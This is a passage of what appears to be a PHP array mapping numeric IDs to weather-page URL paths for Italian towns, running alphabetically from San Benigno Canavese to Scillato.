\"/meteo/San+Benigno+Canavese\",8641 => \"/meteo/San+Bernardino\",6126 => \"/meteo/San+Bernardino+Verbano\",6127 => \"/meteo/San+Biagio+della+Cima\",6128 => \"/meteo/San+Biagio+di+Callalta\",6129 => \"/meteo/San+Biagio+Platani\",6130 => \"/meteo/San+Biagio+Saracinisco\",6131 => \"/meteo/San+Biase\",6132 => \"/meteo/San+Bonifacio\",6133 => \"/meteo/San+Buono\",6134 => \"/meteo/San+Calogero\",6135 => \"/meteo/San+Candido\",6136 => \"/meteo/San+Canzian+d'Isonzo\",6137 => \"/meteo/San+Carlo+Canavese\",6138 => \"/meteo/San+Casciano+dei+Bagni\",6139 => \"/meteo/San+Casciano+in+Val+di+Pesa\",6140 => \"/meteo/San+Cassiano\",8624 => \"/meteo/San+Cassiano+in+Badia\",6141 => \"/meteo/San+Cataldo\",6142 => \"/meteo/San+Cesareo\",6143 => \"/meteo/San+Cesario+di+Lecce\",6144 => \"/meteo/San+Cesario+sul+Panaro\",8367 => \"/meteo/San+Chirico+Nuovo\",6146 => \"/meteo/San+Chirico+Raparo\",6147 => \"/meteo/San+Cipirello\",6148 => \"/meteo/San+Cipriano+d'Aversa\",6149 => \"/meteo/San+Cipriano+Picentino\",6150 => \"/meteo/San+Cipriano+Po\",6151 => \"/meteo/San+Clemente\",6152 => \"/meteo/San+Colombano+al+Lambro\",6153 => \"/meteo/San+Colombano+Belmonte\",6154 => \"/meteo/San+Colombano+Certenoli\",8622 => \"/meteo/San+Colombano+Valdidentro\",6155 => \"/meteo/San+Cono\",6156 => \"/meteo/San+Cosmo+Albanese\",8376 => \"/meteo/San+Costantino+Albanese\",6158 => \"/meteo/San+Costantino+Calabro\",6159 => \"/meteo/San+Costanzo\",6160 => \"/meteo/San+Cristoforo\",6161 => \"/meteo/San+Damiano+al+Colle\",6162 => \"/meteo/San+Damiano+d'Asti\",6163 => \"/meteo/San+Damiano+Macra\",6164 => \"/meteo/San+Daniele+del+Friuli\",6165 => \"/meteo/San+Daniele+Po\",6166 => \"/meteo/San+Demetrio+Corone\",6167 => \"/meteo/San+Demetrio+ne'+Vestini\",6168 => \"/meteo/San+Didero\",8556 => \"/meteo/San+Domenico+di+Varzo\",6169 => \"/meteo/San+Dona'+di+Piave\",6170 => \"/meteo/San+Donaci\",6171 => \"/meteo/San+Donato+di+Lecce\",6172 => \"/meteo/San+Donato+di+Ninea\",6173 => \"/meteo/San+Donato+Milanese\",6174 => \"/meteo/San+Donato+Val+di+Comino\",6175 => \"/meteo/San+Dorligo+della+Valle\",6176 => \"/meteo/San+Fedele+Intelvi\",6177 => \"/meteo/San+Fele\",6178 => \"/meteo/San+Felice+a+Cancello\",6179 => \"/meteo/San+Felice+Circeo\",6180 => \"/meteo/San+Felice+del+Benaco\",6181 => \"/meteo/San+Felice+del+Molise\",6182 => \"/meteo/San+Felice+sul+Panaro\",6183 => \"/meteo/San+Ferdinando\",6184 => \"/meteo/San+Ferdinando+di+Puglia\",6185 => \"/meteo/San+Fermo+della+Battaglia\",6186 => \"/meteo/San+Fili\",6187 => \"/meteo/San+Filippo+del+mela\",6188 => \"/meteo/San+Fior\",6189 => \"/meteo/San+Fiorano\",6190 => \"/meteo/San+Floriano+del+collio\",6191 => \"/meteo/San+Floro\",6192 => \"/meteo/San+Francesco+al+campo\",6193 => \"/meteo/San+Fratello\",8690 => \"/meteo/San+Galgano\",6194 => \"/meteo/San+Gavino+monreale\",6195 => \"/meteo/San+Gemini\",6196 => \"/meteo/San+Genesio+Atesino\",6197 => \"/meteo/San+Genesio+ed+uniti\",6198 => \"/meteo/San+Gennaro+vesuviano\",6199 => \"/meteo/San+Germano+chisone\",6200 => \"/meteo/San+Germano+dei+berici\",6201 => \"/meteo/San+Germano+vercellese\",6202 => \"/meteo/San+Gervasio+bresciano\",6203 => \"/meteo/San+Giacomo+degli+schiavoni\",6204 => \"/meteo/San+Giacomo+delle+segnate\",8620 => \"/meteo/San+Giacomo+di+Roburent\",6205 => \"/meteo/San+Giacomo+filippo\",6206 => \"/meteo/San+Giacomo+vercellese\",6207 => \"/meteo/San+Gillio\",6208 => \"/meteo/San+Gimignano\",6209 => \"/meteo/San+Ginesio\",6210 => \"/meteo/San+Giorgio+a+cremano\",6211 => \"/meteo/San+Giorgio+a+liri\",6212 => \"/meteo/San+Giorgio+albanese\",6213 => \"/meteo/San+Giorgio+canavese\",6214 => \"/meteo/San+Giorgio+del+sannio\",6215 => \"/meteo/San+Giorgio+della+richinvelda\",6216 => \"/meteo/San+Giorgio+delle+Pertiche\",6217 => \"/meteo/San+Giorgio+di+lomellina\",6218 => \"/meteo/San+Giorgio+di+mantova\",6219 => \"/meteo/San+Giorgio+di+nogaro\",6220 => \"/meteo/San+Giorgio+di+pesaro\",6221 => \"/meteo/San+Giorgio+di+piano\",6222 => \"/meteo/San+Giorgio+in+bosco\",6223 => \"/meteo/San+Giorgio+ionico\",6224 => \"/meteo/San+Giorgio+la+molara\",6225 => \"/meteo/San+Giorgio+lucano\",6226 => \"/meteo/San+Giorgio+monferrato\",6227 => \"/meteo/San+Giorgio+morgeto\",6228 => \"/meteo/San+Giorgio+piacentino\",6229 => \"/meteo/San+Giorgio+scarampi\",6230 => \"/meteo/San+Giorgio+su+Legnano\",6231 => \"/meteo/San+Giorio+di+susa\",6232 => \"/meteo/San+Giovanni+a+piro\",6233 => \"/meteo/San+Giovanni+al+natisone\",6234 => \"/meteo/San+Giovanni+bianco\",6235 => \"/meteo/San+Giovanni+d'asso\",6236 => \"/meteo/San+Giovanni+del+dosso\",6237 => \"/meteo/San+Giovanni+di+gerace\",6238 => \"/meteo/San+Giovanni+gemini\",6239 => \"/meteo/San+Giovanni+ilarione\",6240 => \"/meteo/San+Giovanni+in+croce\",6241 => \"/meteo/San+Giovanni+in+fiore\",6242 => \"/meteo/San+Giovanni+in+galdo\",6243 => \"/meteo/San+Giovanni+in+marignano\",6244 => \"/meteo/San+Giovanni+in+persiceto\",8567 => \"/meteo/San+Giovanni+in+val+Aurina\",6245 => \"/meteo/San+Giovanni+incarico\",6246 => \"/meteo/San+Giovanni+la+punta\",6247 => \"/meteo/San+Giovanni+lipioni\",6248 => \"/meteo/San+Giovanni+lupatoto\",6249 => \"/meteo/San+Giovanni+rotondo\",6250 => \"/meteo/San+Giovanni+suergiu\",6251 => \"/meteo/San+Giovanni+teatino\",6252 => \"/meteo/San+Giovanni+valdarno\",6253 => \"/meteo/San+Giuliano+del+sannio\",6254 => \"/meteo/San+Giuliano+di+Puglia\",6255 => \"/meteo/San+Giuliano+milanese\",6256 => \"/meteo/San+Giuliano+terme\",6257 => \"/meteo/San+Giuseppe+jato\",6258 => \"/meteo/San+Giuseppe+vesuviano\",6259 => \"/meteo/San+Giustino\",6260 => \"/meteo/San+Giusto+canavese\",6261 => \"/meteo/San+Godenzo\",6262 => \"/meteo/San+Gregorio+d'ippona\",6263 => \"/meteo/San+Gregorio+da+sassola\",6264 => \"/meteo/San+Gregorio+di+Catania\",6265 => \"/meteo/San+Gregorio+Magno\",6266 => \"/meteo/San+Gregorio+Matese\",6267 => \"/meteo/San+Gregorio+nelle+Alpi\",6268 => \"/meteo/San+Lazzaro+di+Savena\",6269 => \"/meteo/San+Leo\",6270 => \"/meteo/San+Leonardo\",6271 => \"/meteo/San+Leonardo+in+Passiria\",8580 => \"/meteo/San+Leone\",6272 => \"/meteo/San+Leucio+del+Sannio\",6273 => \"/meteo/San+Lorenzello\",6274 => \"/meteo/San+Lorenzo\",6275 => \"/meteo/San+Lorenzo+al+mare\",6276 => \"/meteo/San+Lorenzo+Bellizzi\",6277 => \"/meteo/San+Lorenzo+del+vallo\",6278 => \"/meteo/San+Lorenzo+di+Sebato\",6279 => \"/meteo/San+Lorenzo+in+Banale\",6280 => \"/meteo/San+Lorenzo+in+campo\",6281 => \"/meteo/San+Lorenzo+isontino\",6282 => \"/meteo/San+Lorenzo+Maggiore\",6283 => \"/meteo/San+Lorenzo+Nuovo\",6284 => \"/meteo/San+Luca\",6285 => \"/meteo/San+Lucido\",6286 => \"/meteo/San+Lupo\",6287 => \"/meteo/San+Mango+d'Aquino\",6288 => \"/meteo/San+Mango+Piemonte\",6289 => \"/meteo/San+Mango+sul+Calore\",6290 => \"/meteo/San+Marcellino\",6291 => \"/meteo/San+Marcello\",6292 => \"/meteo/San+Marcello+pistoiese\",6293 => \"/meteo/San+Marco+argentano\",6294 => \"/meteo/San+Marco+d'Alunzio\",6295 => \"/meteo/San+Marco+dei+Cavoti\",6296 => \"/meteo/San+Marco+Evangelista\",6297 => \"/meteo/San+Marco+in+Lamis\",6298 => \"/meteo/San+Marco+la+Catola\",8152 => \"/meteo/San+Marino\",6299 => \"/meteo/San+Martino+al+Tagliamento\",6300 => \"/meteo/San+Martino+Alfieri\",6301 => \"/meteo/San+Martino+Buon+Albergo\",6302 => \"/meteo/San+Martino+Canavese\",6303 => \"/meteo/San+Martino+d'Agri\",6304 => \"/meteo/San+Martino+dall'argine\",6305 => \"/meteo/San+Martino+del+lago\",8209 => \"/meteo/San+Martino+di+Castrozza\",6306 => \"/meteo/San+Martino+di+Finita\",6307 => \"/meteo/San+Martino+di+Lupari\",6308 => \"/meteo/San+Martino+di+venezze\",8410 => \"/meteo/San+Martino+d`agri\",6309 => \"/meteo/San+Martino+in+Badia\",6310 => \"/meteo/San+Martino+in+Passiria\",6311 => \"/meteo/San+Martino+in+pensilis\",6312 => \"/meteo/San+Martino+in+rio\",6313 => \"/meteo/San+Martino+in+strada\",6314 => \"/meteo/San+Martino+sannita\",6315 => \"/meteo/San+Martino+siccomario\",6316 => \"/meteo/San+Martino+sulla+marrucina\",6317 => \"/meteo/San+Martino+valle+caudina\",6318 => \"/meteo/San+Marzano+di+San+Giuseppe\",6319 => \"/meteo/San+Marzano+oliveto\",6320 => \"/meteo/San+Marzano+sul+Sarno\",6321 => \"/meteo/San+Massimo\",6322 => \"/meteo/San+Maurizio+canavese\",6323 => \"/meteo/San+Maurizio+d'opaglio\",6324 => \"/meteo/San+Mauro+castelverde\",6325 => \"/meteo/San+Mauro+cilento\",6326 => \"/meteo/San+Mauro+di+saline\",8427 => \"/meteo/San+Mauro+forte\",6328 => \"/meteo/San+Mauro+la+bruca\",6329 => \"/meteo/San+Mauro+marchesato\",6330 => \"/meteo/San+Mauro+Pascoli\",6331 => \"/meteo/San+Mauro+torinese\",6332 => \"/meteo/San+Michele+al+Tagliamento\",6333 => \"/meteo/San+Michele+all'Adige\",6334 => \"/meteo/San+Michele+di+ganzaria\",6335 => \"/meteo/San+Michele+di+serino\",6336 => \"/meteo/San+Michele+Mondovi'\",6337 => \"/meteo/San+Michele+salentino\",6338 => \"/meteo/San+Miniato\",6339 => \"/meteo/San+Nazario\",6340 => \"/meteo/San+Nazzaro\",6341 => \"/meteo/San+Nazzaro+Sesia\",6342 => \"/meteo/San+Nazzaro+val+cavargna\",6343 => \"/meteo/San+Nicola+arcella\",6344 => \"/meteo/San+Nicola+baronia\",6345 => \"/meteo/San+Nicola+da+crissa\",6346 => \"/meteo/San+Nicola+dell'alto\",6347 => \"/meteo/San+Nicola+la+strada\",6348 => \"/meteo/San+nicola+manfredi\",6349 => \"/meteo/San+nicolo'+d'arcidano\",6350 => \"/meteo/San+nicolo'+di+comelico\",6351 => \"/meteo/San+Nicolo'+Gerrei\",6352 => \"/meteo/San+Pancrazio\",6353 => \"/meteo/San+Pancrazio+salentino\",6354 => \"/meteo/San+Paolo\",8361 => \"/meteo/San+Paolo+albanese\",6356 => \"/meteo/San+Paolo+bel+sito\",6357 => \"/meteo/San+Paolo+cervo\",6358 => \"/meteo/San+Paolo+d'argon\",6359 => \"/meteo/San+Paolo+di+civitate\",6360 => \"/meteo/San+Paolo+di+Jesi\",6361 => \"/meteo/San+Paolo+solbrito\",6362 => \"/meteo/San+Pellegrino+terme\",6363 => \"/meteo/San+Pier+d'isonzo\",6364 => \"/meteo/San+Pier+niceto\",6365 => \"/meteo/San+Piero+a+sieve\",6366 => \"/meteo/San+Piero+Patti\",6367 => \"/meteo/San+Pietro+a+maida\",6368 => \"/meteo/San+Pietro+al+Natisone\",6369 => \"/meteo/San+Pietro+al+Tanagro\",6370 => \"/meteo/San+Pietro+apostolo\",6371 => \"/meteo/San+Pietro+avellana\",6372 => \"/meteo/San+Pietro+clarenza\",6373 => \"/meteo/San+Pietro+di+cadore\",6374 => \"/meteo/San+Pietro+di+carida'\",6375 => \"/meteo/San+Pietro+di+feletto\",6376 => \"/meteo/San+Pietro+di+morubio\",6377 => \"/meteo/San+Pietro+in+Amantea\",6378 => \"/meteo/San+Pietro+in+cariano\",6379 => \"/meteo/San+Pietro+in+casale\",6380 => \"/meteo/San+Pietro+in+cerro\",6381 => \"/meteo/San+Pietro+in+gu\",6382 => \"/meteo/San+Pietro+in+guarano\",6383 => \"/meteo/San+Pietro+in+lama\",6384 => \"/meteo/San+Pietro+infine\",6385 => \"/meteo/San+Pietro+mosezzo\",6386 => \"/meteo/San+Pietro+mussolino\",6387 => \"/meteo/San+Pietro+val+lemina\",6388 => \"/meteo/San+Pietro+vernotico\",6389 => \"/meteo/San+Pietro+Viminario\",6390 => \"/meteo/San+Pio+delle+camere\",6391 => \"/meteo/San+Polo+d'enza\",6392 => \"/meteo/San+Polo+dei+cavalieri\",6393 => \"/meteo/San+Polo+di+Piave\",6394 => \"/meteo/San+Polo+matese\",6395 => \"/meteo/San+Ponso\",6396 => \"/meteo/San+Possidonio\",6397 => \"/meteo/San+Potito+sannitico\",6398 => \"/meteo/San+Potito+ultra\",6399 => \"/meteo/San+Prisco\",6400 => \"/meteo/San+Procopio\",6401 => \"/meteo/San+Prospero\",6402 => \"/meteo/San+Quirico+d'orcia\",8199 => \"/meteo/San+Quirico+d`Orcia\",6403 => \"/meteo/San+Quirino\",6404 => \"/meteo/San+Raffaele+cimena\",6405 => \"/meteo/San+Roberto\",6406 => \"/meteo/San+Rocco+al+porto\",6407 => \"/meteo/San+Romano+in+garfagnana\",6408 => \"/meteo/San+Rufo\",6409 => \"/meteo/San+Salvatore+di+fitalia\",6410 => \"/meteo/San+Salvatore+Monferrato\",6411 => \"/meteo/San+Salvatore+Telesino\",6412 => \"/meteo/San+Salvo\",8103 => \"/meteo/San+Salvo+Marina\",6413 => \"/meteo/San+Sebastiano+al+Vesuvio\",6414 => \"/meteo/San+Sebastiano+Curone\",6415 => \"/meteo/San+Sebastiano+da+Po\",6416 => \"/meteo/San+Secondo+di+Pinerolo\",6417 => \"/meteo/San+Secondo+Parmense\",6418 => \"/meteo/San+Severino+Lucano\",6419 => \"/meteo/San+Severino+Marche\",6420 => \"/meteo/San+Severo\",8347 => \"/meteo/San+Sicario+di+Cesana\",8289 => \"/meteo/San+Simone\",8539 => \"/meteo/San+Simone+Baita+del+Camoscio\",6421 => \"/meteo/San+Siro\",6422 => \"/meteo/San+Sossio+Baronia\",6423 => \"/meteo/San+Sostene\",6424 => \"/meteo/San+Sosti\",6425 => \"/meteo/San+Sperate\",6426 => \"/meteo/San+Tammaro\",6427 => \"/meteo/San+Teodoro\",8170 => \"/meteo/San+Teodoro\",6429 => \"/meteo/San+Tomaso+agordino\",8212 => \"/meteo/San+Valentino+alla+Muta\",6430 => \"/meteo/San+Valentino+in+abruzzo+citeriore\",6431 => \"/meteo/San+Valentino+torio\",6432 => \"/meteo/San+Venanzo\",6433 => \"/meteo/San+Vendemiano\",6434 => \"/meteo/San+Vero+milis\",6435 => \"/meteo/San+Vincenzo\",6436 => \"/meteo/San+Vincenzo+la+costa\",6437 => \"/meteo/San+Vincenzo+valle+roveto\",6438 => \"/meteo/San+Vitaliano\",8293 => \"/meteo/San+Vito\",6440 => \"/meteo/San+Vito+al+tagliamento\",6441 => \"/meteo/San+Vito+al+torre\",6442 => \"/meteo/San+Vito+chietino\",6443 => \"/meteo/San+Vito+dei+normanni\",6444 => \"/meteo/San+Vito+di+cadore\",6445 => \"/meteo/San+Vito+di+fagagna\",6446 => \"/meteo/San+Vito+di+leguzzano\",6447 => \"/meteo/San+Vito+lo+capo\",6448 => \"/meteo/San+Vito+romano\",6449 => \"/meteo/San+Vito+sullo+ionio\",6450 => \"/meteo/San+Vittore+del+lazio\",6451 => \"/meteo/San+Vittore+Olona\",6452 => \"/meteo/San+Zeno+di+montagna\",6453 => \"/meteo/San+Zeno+naviglio\",6454 => \"/meteo/San+Zenone+al+lambro\",6455 => \"/meteo/San+Zenone+al+po\",6456 => \"/meteo/San+Zenone+degli+ezzelini\",6457 => \"/meteo/Sanarica\",6458 => \"/meteo/Sandigliano\",6459 => \"/meteo/Sandrigo\",6460 => \"/meteo/Sanfre'\",6461 => \"/meteo/Sanfront\",6462 => \"/meteo/Sangano\",6463 => \"/meteo/Sangiano\",6464 => \"/meteo/Sangineto\",6465 => \"/meteo/Sanguinetto\",6466 => \"/meteo/Sanluri\",6467 => \"/meteo/Sannazzaro+de'+Burgondi\",6468 => \"/meteo/Sannicandro+di+bari\",6469 => \"/meteo/Sannicandro+garganico\",6470 => \"/meteo/Sannicola\",6471 => \"/meteo/Sanremo\",6472 => \"/meteo/Sansepolcro\",6473 => \"/meteo/Sant'Agapito\",6474 => \"/meteo/Sant'Agata+bolognese\",6475 => \"/meteo/Sant'Agata+de'+goti\",6476 => \"/meteo/Sant'Agata+del+bianco\",6477 => \"/meteo/Sant'Agata+di+esaro\",6478 => \"/meteo/Sant'Agata+di+Militello\",6479 => \"/meteo/Sant'Agata+di+Puglia\",6480 => \"/meteo/Sant'Agata+feltria\",6481 => \"/meteo/Sant'Agata+fossili\",6482 => \"/meteo/Sant'Agata+li+battiati\",6483 => \"/meteo/Sant'Agata+sul+Santerno\",6484 => \"/meteo/Sant'Agnello\",6485 => \"/meteo/Sant'Agostino\",6486 => \"/meteo/Sant'Albano+stura\",6487 => \"/meteo/Sant'Alessio+con+vialone\",6488 => \"/meteo/Sant'Alessio+in+aspromonte\",6489 => \"/meteo/Sant'Alessio+siculo\",6490 => \"/meteo/Sant'Alfio\",6491 => \"/meteo/Sant'Ambrogio+di+Torino\",6492 => \"/meteo/Sant'Ambrogio+di+valpolicella\",6493 => \"/meteo/Sant'Ambrogio+sul+garigliano\",6494 => \"/meteo/Sant'Anastasia\",6495 => \"/meteo/Sant'Anatolia+di+narco\",6496 => \"/meteo/Sant'Andrea+apostolo+dello+ionio\",6497 => \"/meteo/Sant'Andrea+del+garigliano\",6498 => \"/meteo/Sant'Andrea+di+conza\",6499 => \"/meteo/Sant'Andrea+Frius\",8763 => \"/meteo/Sant'Andrea+in+Monte\",6500 => \"/meteo/Sant'Angelo+a+cupolo\",6501 => \"/meteo/Sant'Angelo+a+fasanella\",6502 => \"/meteo/Sant'Angelo+a+scala\",6503 => \"/meteo/Sant'Angelo+all'esca\",6504 => \"/meteo/Sant'Angelo+d'alife\",6505 => \"/meteo/Sant'Angelo+dei+lombardi\",6506 => \"/meteo/Sant'Angelo+del+pesco\",6507 => \"/meteo/Sant'Angelo+di+brolo\",6508 => \"/meteo/Sant'Angelo+di+Piove+di+Sacco\",6509 => \"/meteo/Sant'Angelo+in+lizzola\",6510 => \"/meteo/Sant'Angelo+in+pontano\",6511 => \"/meteo/Sant'Angelo+in+vado\",6512 => \"/meteo/Sant'Angelo+le+fratte\",6513 => \"/meteo/Sant'Angelo+limosano\",6514 => \"/meteo/Sant'Angelo+lodigiano\",6515 => \"/meteo/Sant'Angelo+lomellina\",6516 => \"/meteo/Sant'Angelo+muxaro\",6517 => \"/meteo/Sant'Angelo+romano\",6518 => \"/meteo/Sant'Anna+Arresi\",6519 => \"/meteo/Sant'Anna+d'Alfaedo\",8730 => \"/meteo/Sant'Anna+di+Valdieri\",8698 => \"/meteo/Sant'Anna+di+Vinadio\",8563 => \"/meteo/Sant'Anna+Pelago\",6520 => \"/meteo/Sant'Antimo\",6521 => \"/meteo/Sant'Antioco\",6522 => \"/meteo/Sant'Antonino+di+Susa\",6523 => \"/meteo/Sant'Antonio+Abate\",6524 => \"/meteo/Sant'Antonio+di+gallura\",6525 => \"/meteo/Sant'Apollinare\",6526 => \"/meteo/Sant'Arcangelo\",6527 => \"/meteo/Sant'Arcangelo+trimonte\",6528 => \"/meteo/Sant'Arpino\",6529 => \"/meteo/Sant'Arsenio\",6530 => \"/meteo/Sant'Egidio+alla+vibrata\",6531 => \"/meteo/Sant'Egidio+del+monte+Albino\",6532 => \"/meteo/Sant'Elena\",6533 => \"/meteo/Sant'Elena+sannita\",6534 => \"/meteo/Sant'Elia+a+pianisi\",6535 => \"/meteo/Sant'Elia+fiumerapido\",6536 => \"/meteo/Sant'Elpidio+a+mare\",6537 => \"/meteo/Sant'Eufemia+a+maiella\",6538 => \"/meteo/Sant'Eufemia+d'Aspromonte\",6539 => \"/meteo/Sant'Eusanio+del+Sangro\",6540 => \"/meteo/Sant'Eusanio+forconese\",6541 => \"/meteo/Sant'Ilario+d'Enza\",6542 => \"/meteo/Sant'Ilario+dello+Ionio\",6543 => \"/meteo/Sant'Ippolito\",6544 => \"/meteo/Sant'Olcese\",6545 => \"/meteo/Sant'Omero\",6546 => \"/meteo/Sant'Omobono+imagna\",6547 => \"/meteo/Sant'Onofrio\",6548 => \"/meteo/Sant'Oreste\",6549 => \"/meteo/Sant'Orsola+terme\",6550 => \"/meteo/Sant'Urbano\",6551 => \"/meteo/Santa+Brigida\",6552 => \"/meteo/Santa+Caterina+albanese\",6553 => \"/meteo/Santa+Caterina+dello+ionio\",8144 => \"/meteo/Santa+Caterina+Valfurva\",6554 => \"/meteo/Santa+Caterina+villarmosa\",6555 => \"/meteo/Santa+Cesarea+terme\",6556 => \"/meteo/Santa+Cristina+d'Aspromonte\",6557 => \"/meteo/Santa+Cristina+e+Bissone\",6558 => \"/meteo/Santa+Cristina+gela\",6559 => \"/meteo/Santa+Cristina+Valgardena\",6560 => \"/meteo/Santa+Croce+camerina\",6561 => \"/meteo/Santa+Croce+del+sannio\",6562 => \"/meteo/Santa+Croce+di+Magliano\",6563 => \"/meteo/Santa+Croce+sull'Arno\",6564 => \"/meteo/Santa+Domenica+talao\",6565 => \"/meteo/Santa+Domenica+Vittoria\",6566 => \"/meteo/Santa+Elisabetta\",6567 => \"/meteo/Santa+Fiora\",6568 => \"/meteo/Santa+Flavia\",6569 => \"/meteo/Santa+Giuletta\",6570 => \"/meteo/Santa+Giusta\",6571 => \"/meteo/Santa+Giustina\",6572 => \"/meteo/Santa+Giustina+in+Colle\",6573 => \"/meteo/Santa+Luce\",6574 => \"/meteo/Santa+Lucia+del+Mela\",6575 => \"/meteo/Santa+Lucia+di+Piave\",6576 => \"/meteo/Santa+Lucia+di+serino\",6577 => \"/meteo/Santa+Margherita+d'adige\",6578 => \"/meteo/Santa+Margherita+di+belice\",6579 => \"/meteo/Santa+Margherita+di+staffora\",8285 => \"/meteo/Santa+Margherita+Ligure\",6581 => \"/meteo/Santa+Maria+a+monte\",6582 => \"/meteo/Santa+Maria+a+vico\",6583 => \"/meteo/Santa+Maria+Capua+Vetere\",6584 => \"/meteo/Santa+Maria+coghinas\",6585 => \"/meteo/Santa+Maria+del+cedro\",6586 => \"/meteo/Santa+Maria+del+Molise\",6587 => \"/meteo/Santa+Maria+della+Versa\",8122 => \"/meteo/Santa+Maria+di+Castellabate\",6588 => \"/meteo/Santa+Maria+di+Licodia\",6589 => \"/meteo/Santa+Maria+di+sala\",6590 => \"/meteo/Santa+Maria+Hoe'\",6591 => \"/meteo/Santa+Maria+imbaro\",6592 => \"/meteo/Santa+Maria+la+carita'\",6593 => \"/meteo/Santa+Maria+la+fossa\",6594 => \"/meteo/Santa+Maria+la+longa\",6595 => \"/meteo/Santa+Maria+Maggiore\",6596 => \"/meteo/Santa+Maria+Nuova\",6597 => \"/meteo/Santa+Marina\",6598 => \"/meteo/Santa+Marina+salina\",6599 => \"/meteo/Santa+Marinella\",6600 => \"/meteo/Santa+Ninfa\",6601 => \"/meteo/Santa+Paolina\",6602 => \"/meteo/Santa+Severina\",6603 => \"/meteo/Santa+Sofia\",6604 => \"/meteo/Santa+Sofia+d'Epiro\",6605 => \"/meteo/Santa+Teresa+di+Riva\",6606 => \"/meteo/Santa+Teresa+gallura\",6607 => \"/meteo/Santa+Venerina\",6608 => \"/meteo/Santa+Vittoria+d'Alba\",6609 => \"/meteo/Santa+Vittoria+in+matenano\",6610 => \"/meteo/Santadi\",6611 => \"/meteo/Santarcangelo+di+Romagna\",6612 => \"/meteo/Sante+marie\",6613 => \"/meteo/Santena\",6614 => \"/meteo/Santeramo+in+colle\",6615 => \"/meteo/Santhia'\",6616 => \"/meteo/Santi+Cosma+e+Damiano\",6617 => \"/meteo/Santo+Stefano+al+mare\",6618 => \"/meteo/Santo+Stefano+Belbo\",6619 => \"/meteo/Santo+Stefano+d'Aveto\",6620 => \"/meteo/Santo+Stefano+del+sole\",6621 => \"/meteo/Santo+Stefano+di+Cadore\",6622 => \"/meteo/Santo+Stefano+di+Camastra\",6623 => \"/meteo/Santo+Stefano+di+Magra\",6624 => \"/meteo/Santo+Stefano+di+Rogliano\",6625 => \"/meteo/Santo+Stefano+di+Sessanio\",6626 => \"/meteo/Santo+Stefano+in+Aspromonte\",6627 => \"/meteo/Santo+Stefano+lodigiano\",6628 => \"/meteo/Santo+Stefano+quisquina\",6629 => \"/meteo/Santo+Stefano+roero\",6630 => \"/meteo/Santo+Stefano+Ticino\",6631 => \"/meteo/Santo+Stino+di+Livenza\",6632 => \"/meteo/Santomenna\",6633 => \"/meteo/Santopadre\",6634 => \"/meteo/Santorso\",6635 => \"/meteo/Santu+Lussurgiu\",8419 => \"/meteo/Sant`Angelo+le+fratte\",6636 => \"/meteo/Sanza\",6637 => \"/meteo/Sanzeno\",6638 => \"/meteo/Saonara\",6639 => \"/meteo/Saponara\",6640 => \"/meteo/Sappada\",6641 => \"/meteo/Sapri\",6642 => \"/meteo/Saracena\",6643 => \"/meteo/Saracinesco\",6644 => \"/meteo/Sarcedo\",8377 => \"/meteo/Sarconi\",6646 => \"/meteo/Sardara\",6647 => \"/meteo/Sardigliano\",6648 => \"/meteo/Sarego\",6649 => \"/meteo/Sarentino\",6650 => \"/meteo/Sarezzano\",6651 => \"/meteo/Sarezzo\",6652 => \"/meteo/Sarmato\",6653 => \"/meteo/Sarmede\",6654 => \"/meteo/Sarnano\",6655 => \"/meteo/Sarnico\",6656 => \"/meteo/Sarno\",6657 => \"/meteo/Sarnonico\",6658 => \"/meteo/Saronno\",6659 => \"/meteo/Sarre\",6660 => \"/meteo/Sarroch\",6661 => \"/meteo/Sarsina\",6662 => \"/meteo/Sarteano\",6663 => \"/meteo/Sartirana+lomellina\",6664 => \"/meteo/Sarule\",6665 => \"/meteo/Sarzana\",6666 => \"/meteo/Sassano\",6667 => \"/meteo/Sassari\",6668 => \"/meteo/Sassello\",6669 => \"/meteo/Sassetta\",6670 => \"/meteo/Sassinoro\",8387 => \"/meteo/Sasso+di+castalda\",6672 => \"/meteo/Sasso+marconi\",6673 => \"/meteo/Sassocorvaro\",6674 => \"/meteo/Sassofeltrio\",6675 => \"/meteo/Sassoferrato\",8656 => \"/meteo/Sassotetto\",6676 => \"/meteo/Sassuolo\",6677 => \"/meteo/Satriano\",8420 => \"/meteo/Satriano+di+Lucania\",6679 => \"/meteo/Sauris\",6680 => \"/meteo/Sauze+d'Oulx\",6681 => \"/meteo/Sauze+di+Cesana\",6682 => \"/meteo/Sava\",6683 => \"/meteo/Savelli\",6684 => \"/meteo/Saviano\",6685 => \"/meteo/Savigliano\",6686 => \"/meteo/Savignano+irpino\",6687 => \"/meteo/Savignano+sul+Panaro\",6688 => \"/meteo/Savignano+sul+Rubicone\",6689 => \"/meteo/Savigno\",6690 => \"/meteo/Savignone\",6691 => \"/meteo/Saviore+dell'Adamello\",6692 => \"/meteo/Savoca\",6693 => \"/meteo/Savogna\",6694 => \"/meteo/Savogna+d'Isonzo\",8411 => \"/meteo/Savoia+di+Lucania\",6696 => \"/meteo/Savona\",6697 => \"/meteo/Scafa\",6698 => \"/meteo/Scafati\",6699 => \"/meteo/Scagnello\",6700 => \"/meteo/Scala\",6701 => \"/meteo/Scala+coeli\",6702 => \"/meteo/Scaldasole\",6703 => \"/meteo/Scalea\",6704 => \"/meteo/Scalenghe\",6705 => \"/meteo/Scaletta+Zanclea\",6706 => \"/meteo/Scampitella\",6707 => \"/meteo/Scandale\",6708 => \"/meteo/Scandiano\",6709 => \"/meteo/Scandicci\",6710 => \"/meteo/Scandolara+ravara\",6711 => \"/meteo/Scandolara+ripa+d'Oglio\",6712 => \"/meteo/Scandriglia\",6713 => \"/meteo/Scanno\",6714 => \"/meteo/Scano+di+montiferro\",6715 => \"/meteo/Scansano\",6716 => \"/meteo/Scanzano+jonico\",6717 => \"/meteo/Scanzorosciate\",6718 => \"/meteo/Scapoli\",8120 => \"/meteo/Scario\",6719 => \"/meteo/Scarlino\",6720 => \"/meteo/Scarmagno\",6721 => \"/meteo/Scarnafigi\",6722 => \"/meteo/Scarperia\",8139 => \"/meteo/Scauri\",6723 => \"/meteo/Scena\",6724 => \"/meteo/Scerni\",6725 => \"/meteo/Scheggia+e+pascelupo\",6726 => \"/meteo/Scheggino\",6727 => \"/meteo/Schiavi+di+Abruzzo\",6728 => \"/meteo/Schiavon\",8456 => \"/meteo/Schiavonea+di+Corigliano\",6729 => \"/meteo/Schignano\",6730 => \"/meteo/Schilpario\",6731 => \"/meteo/Schio\",6732 => \"/meteo/Schivenoglia\",6733 => \"/meteo/Sciacca\",6734 => \"/meteo/Sciara\",6735 => \"/meteo/Scicli\",6736 => \"/meteo/Scido\",6737 => \"/meteo/Scigliano\",6738 => \"/meteo/Scilla\",6739 => \"/meteo/Scillato\",6740 => 